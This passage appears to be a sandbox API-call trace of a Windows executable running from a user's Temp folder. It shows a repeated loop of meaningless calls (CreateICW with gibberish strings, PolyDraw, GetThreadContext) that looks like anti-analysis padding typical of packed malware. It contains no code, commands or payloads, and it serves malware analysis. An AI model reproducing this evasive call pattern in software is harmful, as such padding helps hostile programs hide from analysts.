[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.217] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.217] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.217] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.217] GetConsoleCP () returned 0x0
	[0066.217] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.218] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.218] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.218] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.218] GetConsoleCP () returned 0x0
	[0066.218] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.218] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.219] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.219] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.219] GetConsoleCP () returned 0x0
